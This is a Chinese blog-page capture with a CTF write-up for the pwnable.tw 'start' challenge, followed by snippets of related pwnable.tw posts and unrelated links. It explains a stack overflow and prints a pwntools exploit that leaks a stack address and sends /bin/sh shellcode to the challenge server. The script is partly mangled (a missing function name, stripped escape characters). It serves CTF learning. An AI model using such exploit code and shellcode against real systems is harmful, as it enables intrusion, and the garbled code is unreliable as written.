Let's start the CTF:stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚:

调试了就很容易看出来在堆栈上是同一块地址。发生栈溢出是因为:readwrite的缓存区地址相同,sys_write函数地址只有20,但是sys_read函数地址有60,当你输出大于20的时候就会覆盖掉ret。

payload一般形式:padding + addr of shellcode + padding + shellcode,所以我们要找一个addr of shellcode

可以看到在调用sys_write的时候,有一个mov ecx,esp的指令,此时的赋予ecx的值就是Let's start the CTF:的首地址,当我们leak出这个栈上的地址的时候,我们就可以构造:

payload=padding(0x20) + p32(addr of esp + 20) + shellcodeshellcode的长度不能大于36。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
大专栏  Pwnable.tw starts="line">15
16
17
18
19
20
from pwn import *
context.log_level='debug'
pro=remote("chall.pwnable.tw",10000)
shellcode="x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80"
def ():
pro.recvuntil("CTF:")
payload="a"*20+p32(0x08048087)
pro.send(payload)
addr=u32(pro.recv(4))
return addr
def getshell(addr):
payload="A"*20+p32(addr+24)+"x90"*4+shellcode
pro.send(payload)
addr=leak()
getshell(addr)
pro.interactive()

Pwnable.tw start的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  4. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  5. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  6. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  7. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  8. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  9. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

随机推荐

  1. 解决 nginx 启动错误 nginx: [emerg] host not found in upstream

    解决办法来自于:https://blog.csdn.net/Hreticent/article/details/86074502 感谢这个朋友简单而清晰的解决办法. 在配置nginx支持PHP的时候, ...

  2. 如何选择开源项目的license

    https://choosealicense.com/ http://www.csdn.net/article/2013-07-16/2816249-Github-Open-Source-Licens ...

  3. apache 伪静态配置 .htaccess

    htaccess语法教程apache服务器伪静态规则教程 虽然网上有很多教程,不过发现大部分都是抄袭一个人的,一点都不全,所以我想写一个简单的易于理解的教程,我学习.htaccess是从目录保护开始的 ...

  4. LeetCode——264. 丑数 II

    编写一个程序,找出第 n 个丑数. 丑数就是只包含质因数 2, 3, 5 的正整数. 示例: 输入: n = 10 输出: 12 解释: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 ...

  5. python画图例子代码

    matplotlib包,使得python可以使用类似matlab的命令 双坐标,子图例子 fig, axes = plt.subplots( 2,1, figsize=(14, 14) ) ax = ...

  6. C语言代码在内存中的存储

    http://blog.chinaunix.net/uid-26430381-id-4359960.html

  7. windows系统下的渗透测试神器 -pentestbox

    Pentestbox介绍 PentestBox官网:https://pentestbox.org/zh/ 这是一个运行在windows环境下的终端,集成了绝大部分渗透测试所需要的环境 如python2 ...

  8. Docker系列六: 使用Docker官方公共仓库和私有仓库

    使用公共仓库 登陆官方网站:https://hub.docker.com/   注册账号和密码 在Docker hub中创建一个资源,  create  respositories,   创建后会提示 ...

  9. DjangoBlog部署教程

    本篇文章将会手把手教你如何部署DjangoBlog项目,首先介绍下我这里的基本环境,请大家仔细阅读此部分,下面的教程都会使用这些约定来介绍: 系统是ubuntu 18.04 LTS 假设你的域名是ww ...

  10. [LC] 113. Path Sum II

    Given a binary tree and a sum, find all root-to-leaf paths where each path's sum equals the given su ...